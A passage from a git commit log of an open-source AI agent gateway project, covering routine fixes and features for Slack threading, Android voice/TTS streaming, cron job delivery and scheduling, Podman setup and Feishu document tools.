top-level config, ignoring replyToModeByChatType overrides. This caused
DM replies to be threaded even when replyToModeByChatType.direct was
set to "off".

Now the inbound message handler calls resolveSlackReplyToMode(account,
chatType) per-message — the same function already used by the outbound
dock and tool threading context — so per-chat-type overrides take
effect on the inbound path.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* Slack: add changelog for per-message replyToMode resolution

---------

Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-01 10:21:01 -06:00
Mark L
265b22c401 fix(slack): skip monitor startup for disabled accounts [AI-assisted] (openclaw#30592) thanks @liuxiaopai-ai
Verified:
- pnpm install --frozen-lockfile
- pnpm build
- pnpm check
- pnpm test:macmini

Co-authored-by: liuxiaopai-ai <73659136+liuxiaopai-ai@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-01 10:19:50 -06:00
François Martin
53d6e07a60 fix(sessions): set transcriptPath to agent sessions directory (openclaw#24775) thanks @martinfrancois
Verified:
- pnpm build
- pnpm check
- pnpm test:macmini

Co-authored-by: martinfrancois <14319020+martinfrancois@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-01 09:41:06 -06:00
Colin Johnson
0f36ee5a2e Slack: harden slash and interactions ingress checks (openclaw#29091) thanks @Solvely-Colin
Verified:
- pnpm build
- pnpm check
- pnpm test:macmini

Co-authored-by: Solvely-Colin <211764741+Solvely-Colin@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-01 09:40:57 -06:00
Glucksberg
3aad6c8bdb fix(slack): guard Socket Mode listeners access during startup (openclaw#28702) thanks @Glucksberg
Verified:
- pnpm install --frozen-lockfile
- pnpm build
- pnpm check
- pnpm test:macmini

Co-authored-by: Glucksberg <80581902+Glucksberg@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-01 09:29:18 -06:00
HouRong
b3f60a68a0 fix(slack): thread agent identity through channel reply path (openclaw#27134) thanks @hou-rong
Verified:
- pnpm install --frozen-lockfile
- pnpm build
- pnpm check
- pnpm test:macmini

Co-authored-by: hou-rong <8758438+hou-rong@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-01 09:25:32 -06:00
pushkarsingh32
4ba0a4d4fb fix(slack): wrap session key in backticks to prevent emoji shortcode parsing (openclaw#30266) thanks @pushkarsingh32
Verified:
- pnpm build
- pnpm check
- pnpm test:macmini

Co-authored-by: pushkarsingh32 <29558481+pushkarsingh32@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-01 09:23:50 -06:00
Tak Hoffman
ff563eef0f Issues: unify bug form and subtype auto-labeling (openclaw#30733) thanks @Takhoffman
Verified:
- pnpm build
- pnpm check
- pnpm test:macmini

Co-authored-by: Takhoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-01 09:20:57 -06:00
Ayaan Zaidi
201c6252ed test(slack): pass cfg to buildAccountSnapshot in tests 2026-03-01 20:36:05 +05:30
Ayaan Zaidi
08f98ac1c9 docs(changelog): note android notify auth-race fix (#30726) 2026-03-01 20:32:14 +05:30
Ayaan Zaidi
6f63fc288a fix(android): return NOT_AUTHORIZED when notify permission is lost 2026-03-01 20:32:14 +05:30
Ayaan Zaidi
0d672e43b9 chore(protocol): sync generated swift models 2026-03-01 20:32:14 +05:30
Ayaan Zaidi
759a0fc1b2 chore(android): remove deprecated AGP gradle flags 2026-03-01 20:32:14 +05:30
Ayaan Zaidi
9c2f7e2a9d style(android): format gradle kotlin scripts 2026-03-01 20:32:14 +05:30
Ayaan Zaidi
348a7dd5b3 fix(android): guard notification post permission 2026-03-01 20:32:14 +05:30
Ayaan Zaidi
7f9274b71d chore(android): add kotlin lint/format tooling 2026-03-01 20:32:14 +05:30
Mark L
4da4cc94c1 fix(slack): treat HTTP mode accounts as configured [AI-assisted] (openclaw#30571) thanks @liuxiaopai-ai
Verified:
- pnpm build
- pnpm check
- pnpm test:macmini

Co-authored-by: liuxiaopai-ai <73659136+liuxiaopai-ai@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-01 09:00:17 -06:00
Xu Gu
e3ba59dc71 Control UI: add cron jobs schedule/status filters with reset (#9510)
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-01 08:49:11 -06:00
Ayaan Zaidi
59fd394bfe docs(changelog): add #29521 voice tts entry (thanks @gregmousseau) 2026-03-01 20:03:26 +05:30
Greg Mousseau
ba430cc65b fix(android): drainingTts identity check, mark stopped on WebSocket failure
- Codex P2: drain coroutine now only clears drainingTts if it's the
  same instance (=== check), preventing a newer drain from being
  unreachable by stopTts.
- Codex P2: set stopped=true on WebSocket onFailure so subsequent
  sendText calls are rejected and stale state doesn't persist.
2026-03-01 20:03:26 +05:30
Greg Mousseau
ccca99c472 fix(android): ignore stale out-of-order agent events in streaming TTS
Agent events arrive on multiple threads concurrently. A stale event
with shorter accumulated text was falsely triggering 'text diverged',
causing the streaming TTS to restart with a new WebSocket — resulting
in multiple simultaneous ElevenLabs connections (2-3 voices) and
eventual system TTS fallback when hasReceivedAudio was false.

Fix: if sentFullText.startsWith(fullText), the event is stale (we
already have this text), not diverged. Accept and ignore it.
2026-03-01 20:03:26 +05:30
Greg Mousseau
a583261775 fix(android): wire speaker mute to TalkMode, release audio focus on stop
- Codex P1: setSpeakerEnabled now syncs talkMode.setPlaybackEnabled
  so muting the speaker works when ttsOnAllResponses is active.
- Codex P2: abandonAudioFocus() called in stopSpeaking to prevent
  audio focus leak after TTS completes or is interrupted.
2026-03-01 20:03:26 +05:30
Greg Mousseau
930841cd7c fix(android): wire MP3 fallback call, prevent double-speaking
- Codex P1: streamAndPlayMp3 was computed but never called after PCM
  failure. Now properly invoked as fallback.
- Codex P2: MicCaptureManager.speakAssistantReply now skipped when
  TalkModeManager.ttsOnAllResponses is active, preventing both
  pipelines from speaking the same assistant reply.
2026-03-01 20:03:26 +05:30
Greg Mousseau
587790e84a fix(android): talk mode stability — thread safety, TTS fallback, mic cooldown
Bug fixes:
- @Synchronized on ElevenLabsStreamingTts.sendText/finish to prevent
  sentFullText/sentTextLength races across OkHttp and caller threads
- Pre-set pendingRunId via onRunIdKnown callback before chat.send to
  eliminate race where gateway events arrive before runId is stored
- Track drain coroutine as Job; cancel prior on rapid mic toggle to
  prevent duplicate TTS and stale transcript sends
- Mic button disabled during 2s drain cooldown (micCooldown StateFlow)

Codex review fixes:
- Gate agent streaming TTS on sessionKey to prevent cross-session
  audio leaks (P1)
- Clear ElevenLabs credentials when talk.provider is not elevenlabs;
  gate streaming TTS on activeProviderIsElevenLabs (P2)

System TTS fallback fixes:
- Null streamingTts immediately in finishStreamingTts so next response
  gets a fresh TTS instance
- Add hasReceivedAudio flag to ElevenLabsStreamingTts to detect when
  WebSocket connects but returns no audio (invalid key, network error)
- Fall back to playTtsForText when streaming TTS produced no audio
- Track ttsJob to cleanly cancel prior playTtsForText on new response
- Re-throw CancellationException instead of cascading into fallback
  attempts that also get cancelled
2026-03-01 20:03:26 +05:30
Greg Mousseau
4748ba491d fix(android): chat history refresh and mic capture improvements for voice
ChatController:
- final/aborted/error run events now trigger a history refresh regardless of
  whether the runId is in pendingRuns; only delta events require the run to be
  tracked (prevents voice-initiated responses from being silently dropped)

MicCaptureManager:
- Don't auto-send on onResults silence detection — accumulate transcript
  segments and send when mic is toggled off, giving the recognizer time to
  finish processing buffered audio
- Capture any partial live transcript if no final segments arrived (2s drain
  window before stop)
- Join multi-segment transcripts with sentence-ending punctuation to avoid
  run-on text sent to the gateway
2026-03-01 20:03:26 +05:30
Greg Mousseau
68db055f1a feat(android): wire TalkModeManager into NodeRuntime for voice screen TTS
TalkModeManager is instantiated lazily in NodeRuntime and drives ElevenLabs
streaming TTS for all assistant responses when the voice screen is active.
MicCaptureManager continues to own STT and chat.send; TalkModeManager is
TTS-only (ttsOnAllResponses = true, setEnabled never called).

- talkMode.ttsOnAllResponses = true when mic is enabled or voice screen active
- Barge-in: tapping the mic button calls stopTts() before re-enabling mic
- Lifecycle: PostOnboardingTabs LaunchedEffect + VoiceTabScreen onDispose both
  call setVoiceScreenActive(false) so TTS stops cleanly on tab switch or
  app backgrounding
- applyMainSessionKey wires the session key into TalkModeManager so it
  subscribes to the correct chat session for TTS
2026-03-01 20:03:26 +05:30
Greg Mousseau
f0fcecd7c1 feat(android): ElevenLabsStreamingTts — WebSocket streaming TTS with PCM playback
Streams text to the ElevenLabs WebSocket API and plays audio in real-time
via AudioTrack (PCM 24kHz). Key design points:

- sendText(fullText) takes the full accumulated text and only transmits the
  new suffix, detecting divergence for restart
- Chunks are queued if the WebSocket isn't yet connected; flushed in onOpen
- finish() sends EOS to ElevenLabs; deferred if called before onOpen fires
- sendText returns true (not false) when finished=true to avoid treating a
  normal end-of-stream as a diverge restart
- finishStreamingTts coroutine uses identity check before nulling streamingTts
  to prevent a mid-drain restart from orphaning a live TTS session
- eleven_v3 does NOT support WebSocket streaming; use eleven_flash_v2_5
2026-03-01 20:03:26 +05:30
Ian Derrington
266d320062 feat(ui): add hide-cron toggle to chat session selector (#26976)
* feat(ui): add hide-cron toggle to chat session selector

Adds a clock icon toggle button in the chat controls bar that filters
cron sessions out of the session dropdown. Default: hidden (true).

Why: cron sessions (key prefix `cron:`) accumulate fast — a job running
every 15 min produces 48 entries/day. They pollute the session selector
on small screens and devices like the Rabbit R1.

Changes:
- app-render.helpers.ts
  - isCronSessionKey() — exported helper (exported for tests)
  - countHiddenCronSessions() — counts filterable crons, skips active key
  - resolveSessionOptions() — new hideCron param; skips cron: keys
    unless that key is the currently active session (never drop it)
  - renderCronFilterIcon() — clock SVG with optional badge count
  - renderChatControls() — reads state.sessionsHideCron (default true),
    passes hideCron to resolveSessionOptions, adds toggle button at the
    end of the controls bar showing hidden count as a badge
- app-view-state.ts — adds sessionsHideCron: boolean to AppViewState
- app.ts — @state() sessionsHideCron = true (persists across re-renders)
- app-render.helpers.node.test.ts — tests for isCronSessionKey

* fix(ui): harden cron session filtering and i18n labels

---------

Co-authored-by: FLUX <flux@openclaw.ai>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-01 08:24:14 -06:00
0xbrak
4637b90c07 feat(cron): configurable failure alerts for repeated job errors (openclaw#24789) thanks @0xbrak
Verified:
- pnpm install --frozen-lockfile
- pnpm check
- pnpm test -- --run src/cron/service.failure-alert.test.ts src/cli/cron-cli.test.ts src/gateway/protocol/cron-validators.test.ts

Co-authored-by: 0xbrak <181251288+0xbrak@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-01 08:18:15 -06:00
yinghaosang
f902697bd5 feat(cron): add payload.fallbacks for per-job model fallback override (#26120) (#26304)
Co-authored-by: yinghaosang <yinghaosang@users.noreply.github.com>
2026-03-01 08:11:03 -06:00
BUGKillerKing
8c98cf05b2 i18n: add zh-CN for cron page and validation errors (#29315)
* i18n: add zh-CN for cron page and validation errors

* cron: treat unexpected delivery statuses as unknown

* test(cron): align validation tests with i18n keys

---------

Co-authored-by: 周鹤0668001310 <zhou.he3@xydigit.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-01 08:05:51 -06:00
Aviral
d0ca02e963 fix(cron): respect subagents.model in isolated cron sessions (#11474)
* fix(cron): respect subagents.model in isolated cron sessions

* fix(cron): enforce model allowlist for subagents.model

* Cron: fix isolated subagent model gate regressions

---------

Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-01 07:54:09 -06:00
wangchunyue
cb6f993b4c fix(cli): cron list Agent column shows agentId not model — add Model column (openclaw#26259) thanks @openperf
Verified:
- pnpm install --frozen-lockfile
- pnpm build
- pnpm check
- pnpm test:macmini

Co-authored-by: openperf <80630709+openperf@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-01 07:47:32 -06:00
Altay
98e30dc2a3 fix(cron): handle sessions list cron model override (openclaw#21279) thanks @altaywtf
Verified:
- pnpm install --frozen-lockfile
- pnpm build
- pnpm check
- pnpm test:macmini

Co-authored-by: altaywtf <9790196+altaywtf@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-01 07:32:20 -06:00
Sid
f107347608 fix(ui-cron): include configured model suggestions for scheduled jobs (openclaw#29709) thanks @Sid-Qin
Verified:
- pnpm install --frozen-lockfile
- pnpm build
- pnpm check
- pnpm test:macmini

Co-authored-by: Sid-Qin <201593046+Sid-Qin@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-01 07:31:47 -06:00
Pierre
5784963608 fix cron store backup churn (#19484) 2026-03-01 07:10:53 -06:00
Aleksandrs Tihenko
0cc46589ac Cron: drain pending writes before reading run log (#25416)
* Cron: drain pending writes before reading run log

* Retrigger CI
2026-03-01 07:04:04 -06:00
Sid
29a55948d6 fix(cron): guard list sorting against malformed legacy jobs (#28896)
* fix(cron): guard list sorting against malformed legacy jobs

Prevent list operations from crashing when old or corrupted cron entries are missing name/id fields by hardening sort comparators.

Closes #28862

* cron: format list sort guard test imports

---------

Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-01 07:01:36 -06:00
Glucksberg
645d963954 feat: expand ~ (tilde) to home directory in file tools (read/write/edit) (openclaw#29779) thanks @Glucksberg
Verified:
- pnpm install --frozen-lockfile
- pnpm build
- pnpm check
- pnpm test:macmini

Co-authored-by: Glucksberg <80581902+Glucksberg@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-01 07:00:52 -06:00
NIO
ea3955cd78 fix(cron): add retry policy for one-shot jobs on transient errors (#24355) (openclaw#24435) thanks @hugenshen
Verified:
- pnpm install --frozen-lockfile
- pnpm check
- pnpm test -- --run src/cron/service.issue-regressions.test.ts src/config/config-misc.test.ts

Co-authored-by: hugenshen <16300669+hugenshen@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-01 06:58:03 -06:00
ToToKr
62a7683ce6 fix(cron): add audit logging for job create/update/remove (openclaw#25090) thanks @MoerAI
Verified:
- pnpm install --frozen-lockfile
- pnpm check
- pnpm test -- --run src/gateway/server-cron.test.ts src/gateway/server-methods/server-methods.test.ts src/gateway/protocol/cron-validators.test.ts

Co-authored-by: MoerAI <26067127+MoerAI@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-01 06:55:48 -06:00
StingNing
5b49cc4129 fix(cron): notify user when cron job is auto-disabled after repeated errors (openclaw#29098) thanks @ningding97
Verified:
- pnpm install --frozen-lockfile
- pnpm check
- pnpm test -- --run src/cron/service.runs-one-shot-main-job-disables-it.test.ts

Co-authored-by: ningding97 <17723822+ningding97@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-01 06:54:02 -06:00
Sid
504c1f3607 fix(cron): migrate legacy schedule cron fields on load (#28889)
Backfill legacy jobs that still use schedule.cron and jobId so upgraded instances keep firing existing cron schedules instead of failing silently.

Closes #28861
2026-03-01 06:53:39 -06:00
Sid
d509a81a12 fix(cron): treat transient tool error payloads as recoverable (openclaw#29527) thanks @Sid-Qin
Verified:
- pnpm install --frozen-lockfile
- pnpm check
- pnpm test -- --run src/cron/isolated-agent.uses-last-non-empty-agent-text-as.test.ts

Co-authored-by: Sid-Qin <201593046+Sid-Qin@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-01 06:52:15 -06:00
Ayaan Zaidi
635c78a177 docs: add changelog entry for session_status levels (#30129) 2026-03-01 14:45:12 +05:30
YuzuruS
310344b6e4 fix: read thinking/verbose/reasoning levels from session entry in status
buildStatusMessage resolved thinkLevel, verboseLevel, and reasoningLevel
without falling back to sessionEntry, unlike elevatedLevel which already
had this fallback. When session_status tool calls buildStatusMessage
without passing resolvedThink/resolvedVerbose/resolvedReasoning, the
levels always fell back to agent defaults or "off", ignoring the
runtime-set session values.

Add sessionEntry fallback for thinkingLevel, verboseLevel, and
reasoningLevel, consistent with how elevatedLevel already works.

Closes #30126

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-01 14:42:34 +05:30
Shadow
54c46b7c8c temp disable stale workflow to help with ratelimits 2026-02-28 22:51:34 -06:00
Gustavo Madeira Santana
9257dfb5c0 fix(diffs): tighten rendering quality 2026-02-28 23:03:28 -05:00
Gustavo Madeira Santana
0f72000c96 fix(diffs): increase resolution scaling factor 2026-02-28 22:25:29 -05:00
Shadow
3685ccb536 chore: lock inactive closed issues 2026-02-28 20:48:02 -06:00
Gustavo Madeira Santana
c0ce125512 fix(gateway): shorten manual reinstall/restart delays
LaunchAgent plist hardcodes ThrottleInterval to 60 in src/daemon/launchd-plist.ts

That means every restart/install path that terminates the launchd-managed gateway gets delayed by launchd’s one-minute relaunch throttle. The CLI restart path in src/daemon/launchd.ts is doing the expected supervisor actions, but the plist policy makes those actions look hung.

In src/daemon/launchd-plist.ts:
- added LAUNCH_AGENT_THROTTLE_INTERVAL_SECONDS
- reduced the LaunchAgent ThrottleInterval from 60 to 1
2026-02-28 20:46:11 -05:00
Gustavo Madeira Santana
39e09273ca docs(diffs): update docs for diffs plugin 2026-02-28 20:40:30 -05:00
Gustavo Madeira Santana
0abf47cfd5 plugin(diffs): optimize rendering for image/view modes 2026-02-28 20:19:15 -05:00
Jarvis
fcb6859784 fix(memoryFlush): correct context token accounting for flush gating (#5343)
Merged via squash.

Prepared head SHA: afaa7bae3b
Co-authored-by: jarvis-medmatic <252428873+jarvis-medmatic@users.noreply.github.com>
Co-authored-by: jalehman <550978+jalehman@users.noreply.github.com>
Reviewed-by: @jalehman
2026-02-28 16:54:57 -08:00
Gustavo Madeira Santana
812a996b2f adding config layer 2026-02-28 19:20:07 -05:00
Gustavo Madeira Santana
1828fdee8b icons refined 2026-02-28 18:58:26 -05:00
Gustavo Madeira Santana
612ed5b3e1 diffs plugin 2026-02-28 18:38:00 -05:00
Vignesh Natarajan
fca0467082 TUI: guard SIGTERM shutdown against setRawMode EBADF 2026-02-28 14:56:01 -08:00
Vignesh Natarajan
2050fd7539 Cron: preserve session scope for main-target reminders 2026-02-28 14:53:19 -08:00
Yassine Amjad
61989091a4 fix(reply): fix duplicate block replies by unblocking coalesced payloads (#5080)
Merged via squash.

Prepared head SHA: 399e1259cb
Co-authored-by: yassine20011 <59234686+yassine20011@users.noreply.github.com>
Co-authored-by: jalehman <550978+jalehman@users.noreply.github.com>
Reviewed-by: @jalehman
2026-02-28 14:51:43 -08:00
Vignesh Natarajan
c58d2aa99e Sessions: fix sessions_list transcriptPath path resolution 2026-02-28 14:42:14 -08:00
Vignesh Natarajan
f57b4669e1 Memory: keep keyword hits when hybrid vector misses 2026-02-28 14:18:24 -08:00
Vignesh Natarajan
0929c233d8 TUI: sync /model status immediately 2026-02-28 14:02:56 -08:00
Vignesh Natarajan
a623c9c8d2 Onboarding: enforce custom model context minimum 2026-02-28 13:37:21 -08:00
Vignesh Natarajan
e90429794a Web UI: strip relevant-memories scaffolding 2026-02-28 13:20:50 -08:00
Vignesh Natarajan
ea4f5106ea chore(gateway): guard cron agent heartbeat type 2026-02-28 13:03:45 -08:00
Vignesh Natarajan
9868d5cd8b Gateway: allow control-ui session deletion 2026-02-28 13:01:10 -08:00
Vincent Koc
62179c861b Update server-cron.ts 2026-02-28 10:16:34 -08:00
Vincent Koc
6dae3c2ca6 Update models-config.providers.ts 2026-02-28 10:16:34 -08:00
Vincent Koc
8624f80649 Update models-config.providers.ollama.test.ts 2026-02-28 10:16:34 -08:00
Vincent Koc
b8863fc813 Update CHANGELOG.md 2026-02-28 10:16:34 -08:00
Kansodata Spa.
81d215afa7 fix(cron): narrow agentEntry type for heartbeat merge 2026-02-28 10:16:34 -08:00
Kansodata Spa.
247ff6ff9e fix(ollama): default explicit-model provider api to native ollama 2026-02-28 10:16:34 -08:00
Kansodata Spa.
0331fc5199 test(ollama): type explicit models input union in provider test 2026-02-28 10:16:34 -08:00
damaozi
78d49b4c8e fix: remove readonly type constraint in test 2026-02-28 10:16:34 -08:00
damaozi
deb9560a2b fix(agents): skip Ollama discovery when explicit models configured (#28762) 2026-02-28 10:16:34 -08:00
Vincent Koc
be8a5b9d64 chore(changelog): add missing entry for #28827 2026-02-28 09:47:06 -08:00
Vincent Koc
db25b26e33 chore(changelog): add missing entry for #25326 2026-02-28 09:47:06 -08:00
Vincent Koc
67a1584e82 chore(changelog): add missing entry for #26414 2026-02-28 09:47:06 -08:00
金炳
28c80689d4 fix(browser): resolve correct targetId in navigate response after renderer swap (#25326)
* fix(browser): resolve correct targetId in navigate response after renderer swap

When `navigateViaPlaywright` triggers a Chrome renderer-process swap
(e.g. navigating from chrome-extension:// to https://), the old
`tab.targetId` captured before navigation becomes stale. The `/navigate`
route previously returned this stale targetId in its response.

After navigation, re-resolve the current tab by matching against the
final URL via `profileCtx.listTabs()`. If the old target is already gone
but the new one is not yet visible (extension re-attach in progress),
retry after 800ms.

Follow-up to #19744 (67bac62c2) which fixed the extension-side stale
session cleanup.

* fix(browser): prefer non-stale targetId when multiple tabs share the same URL

When multiple tabs have the same URL after navigation, find() could pick
a pre-existing tab instead of the newly created one. Now only re-resolve
when the old target is gone (renderer swap detected), and prefer the tab
whose targetId differs from the old one.

* fix(browser): encapsulate targetId resolution logic after navigation

Introduced a new function `resolveTargetIdAfterNavigate` to handle the resolution of the correct targetId after a navigation event that may trigger a renderer swap. This refactor improves code clarity and reuses the logic for determining the current targetId, ensuring that the correct tab is identified even when multiple tabs share the same URL.

* refactor(tests): simplify listTabs initialization in agent snapshot tests

Updated the initialization of listTabs in the agent snapshot tests for better readability by removing unnecessary line breaks. This change enhances code clarity without altering the test logic.

* fix(ui): widen Set type to accept string tokens in external-link helper

* chore: retrigger CI (unrelated Windows flaky test)

Co-authored-by: Cursor <cursoragent@cursor.com>

---------

Co-authored-by: Cursor <cursoragent@cursor.com>
2026-02-28 09:23:24 -08:00
Charlie Niño
26db298d3e fix: sed escaping and UID mismatch in Podman Quadlet setup (#26414)
* fix: sed escaping and UID mismatch in Podman Quadlet setup

Fix two bugs in the Podman/Quadlet installation path:

1. setup-podman.sh line 227: Remove `/` from sed escape character class.
   The sed substitution uses `|` as delimiter, so `/` doesn't need
   escaping. Including it causes paths like `/home/openclaw` to become
   `\/home\/openclaw`, which Podman rejects as invalid volume names.

2. openclaw.container.in: Add `User=%U:%G` after `UserNS=keep-id`.
   The Dockerfile sets `USER node` (UID 1000), but the `openclaw` system
   user created by setup-podman.sh may get a different UID (e.g., 1001).
   Without `User=%U:%G`, the container process runs as UID 1000 and
   cannot read config files owned by the openclaw user.

Closes #26400

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* scripts: extract quadlet sed replacement escaping helper

* podman: document quadlet user mapping rationale

* scripts: correct sed replacement escaping for pipe delimiter

---------

Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
2026-02-28 09:20:18 -08:00
Marcus Widing
8ae1987f2a fix(cron): pass heartbeat target=last for main-session cron jobs (#28508) (#28583)
* fix(cron): pass heartbeat target=last for main-session cron jobs

When a cron job with sessionTarget=main and wakeMode=now fires, it
triggers a heartbeat via runHeartbeatOnce. Since e2362d35 changed the
default heartbeat target from "last" to "none", these cron-triggered
heartbeats silently discard their responses instead of delivering them
to the last active channel (e.g. Telegram).

Fix: pass heartbeat: { target: "last" } from the cron timer to
runHeartbeatOnce for main-session jobs, and wire the override through
the gateway cron service builder. This restores delivery for
sessionTarget=main cron jobs without reverting the intentional default
change for regular heartbeats.

Regression introduced in: e2362d35 (2026-02-25)

Fixes #28508

* Cron: align server-cron wake routing expectations for main-target jobs

---------

Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-28 11:14:24 -06:00
lailoo
d7d3416b1d fix(cron): disable messaging tool when delivery.mode is none (#21808) (#21896) 2026-02-28 11:12:17 -06:00
Mitsuyuki Osabe
e1df1c60b8 fix: clear delivery routing state when creating isolated cron sessions (#27778)
* fix: clear delivery routing state when creating isolated cron sessions

When `resolveCronSession()` creates a new session (forceNew / isolated),
the `...entry` spread preserves `lastThreadId`, `lastTo`, `lastChannel`,
and `lastAccountId` from the prior session. This causes announce-mode
cron deliveries to post as thread replies instead of channel top-level
messages when `delivery.to` matches the channel of a prior conversation.

Clear delivery routing metadata on new session creation so isolated
cron sessions start with a clean delivery state.

Closes #27751

✍️ Author: Claude Code with @carrotRakko (AI-written, human-approved)

* fix: also clear deliveryContext to prevent lastThreadId repopulation

normalizeSessionEntryDelivery (called on store writes) repopulates
lastThreadId from deliveryContext.threadId. Clearing only the last*
fields is insufficient — deliveryContext must also be cleared when
creating a new isolated session.

✍️ Author: Claude Code with @carrotRakko (AI-written, human-approved)
2026-02-28 11:09:12 -06:00
Sid
daa418895e fix(cron): avoid marking queued announce paths as delivered (#29716)
Cron announce flow treated queued/steered outcomes as delivered even when no direct outbound send was confirmed, which could report false-positive delivery state. This change keeps cron delivery strict: only direct-path announce results count as delivered.

Closes #29660
2026-02-28 11:09:09 -06:00
Dennis Goldfinger
3096837238 fix(cron): enable completion direct send for text-only announce delivery (#29151) 2026-02-28 11:09:07 -06:00
Sid
fe9a7c4082 fix(cron): force main-target system events onto main session (#28898)
Ignore persisted sessionKey overrides for sessionTarget=main jobs so cron system events consistently route to the agent main session after upgrades.

Closes #28770
2026-02-28 11:08:53 -06:00
Anandesh Sharma
2851926314 fix(cron): condition requireExplicitMessageTarget on resolved delivery (#28017)
When a cron job's delivery target resolution fails (resolvedDelivery.ok
is false), the agent was still started with requireExplicitMessageTarget:
true. This caused "Action send requires a target" errors because the
agent's message tool demanded a target that was never resolved.

Condition the flag on both deliveryRequested AND resolvedDelivery.ok so
the agent can still use messaging tools freely when no valid delivery
target exists.

Fixes #27898

Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-28 11:08:37 -06:00
Marvin
5e2ef0e883 feat(cron): add --account flag for multi-account delivery routing (#26284)
* feat(cron): add --account flag for multi-account delivery routing

Add support for explicit delivery account routing in cron jobs across CLI, normalization, delivery planning, and isolated delivery target resolution.

Highlights:
- Add --account <id> to cron add and cron edit
- Add optional delivery.accountId to cron types and delivery plan
- Normalize and trim delivery.accountId in cron create/update normalization
- Prefer explicit accountId over session lastAccountId and bindings fallback
- Thread accountId through isolated cron run delivery resolution
- Preserve cron edit --best-effort-deliver/--no-best-effort-deliver behavior by keeping implicit announce mode
- Expand tests for account passthrough/merge/precedence and CLI account flows

* cron: resolve rebase duplicate accountId fields

---------

Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-28 10:57:49 -06:00
Pierre
e1c8094ad0 fix: schedule nextWakeAtMs for isolated sessionTarget cron jobs (#19541)
* fix(cron): repair isolated next wake scheduling

* cron: harden isolated next-wake timestamp guards

---------

Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-28 10:48:31 -06:00
Ayaan Zaidi
139271ad5a fix: sandbox browser docker no-sandbox rollout (#29879) (thanks @Lukavyi) 2026-02-28 21:43:56 +05:30
Tak Hoffman
7ae683194f GitHub: add regression bug issue template and routing (openclaw#29864) thanks @Takhoffman
Verified:
- pnpm build
- pnpm check
- pnpm test:macmini

Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-28 10:02:55 -06:00
刘苇
5209c48923 feat(feishu): add chat info/member tool (openclaw#14674)
* feat(feishu): add chat members/info tool support

* Feishu: harden chat tool schema and coverage

---------

Co-authored-by: Nereo <nereo@Nereos-Mac-mini.local>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-28 10:00:31 -06:00
Elarwei
0740fb83d7 feat(feishu): add markdown tables, positional insert, color_text, and table ops (#29411)
* feat(feishu): add markdown tables, insert, color_text, table ops, and image fixes

Extends feishu_doc on top of #20304 with capabilities that are not yet covered:

Markdown → native table rendering:
- write/append now use the Descendant API instead of Children API,
  enabling GFM markdown tables (block_type 31/32) to render as native
  Feishu tables automatically
- Adaptive column widths calculated from cell content (CJK chars 2x weight)
- Batch insertion for large documents (>1000 blocks, docx-batch-insert.ts)

New actions:
- insert: positional markdown insertion after a given block_id
- color_text: apply color/bold to a text block via [red]...[/red] markup
- insert_table_row / insert_table_column: add rows or columns to a table
- delete_table_rows / delete_table_columns: remove rows or columns
- merge_table_cells: merge a rectangular cell range

Image upload fixes (affects write, append, and upload_image):
- upload_image now accepts data URI and plain base64 in addition to
  url/file_path, covering DALL-E b64_json, canvas screenshots, etc.
- Fix: pass Buffer directly to drive.media.uploadAll instead of
  Readable.from(), which caused Content-Length mismatch for large images
- Fix: same Readable bug fixed in upload_file
- Fix: pass drive_route_token via extra field for correct multi-datacenter
  routing (per API docs: required when parent_node is a document block ID)

* fix(feishu): add documentBlockDescendant mock to docx.test.ts

write/append now use the Descendant API (documentBlockDescendant.create)
instead of Children API. The existing test mock was missing this SDK
method, causing processImages to never be reached and fetchRemoteMedia
to go uncalled.

Added blockDescendantCreateMock returning an image block so the
'skips image upload when markdown image URL is blocked' test flows
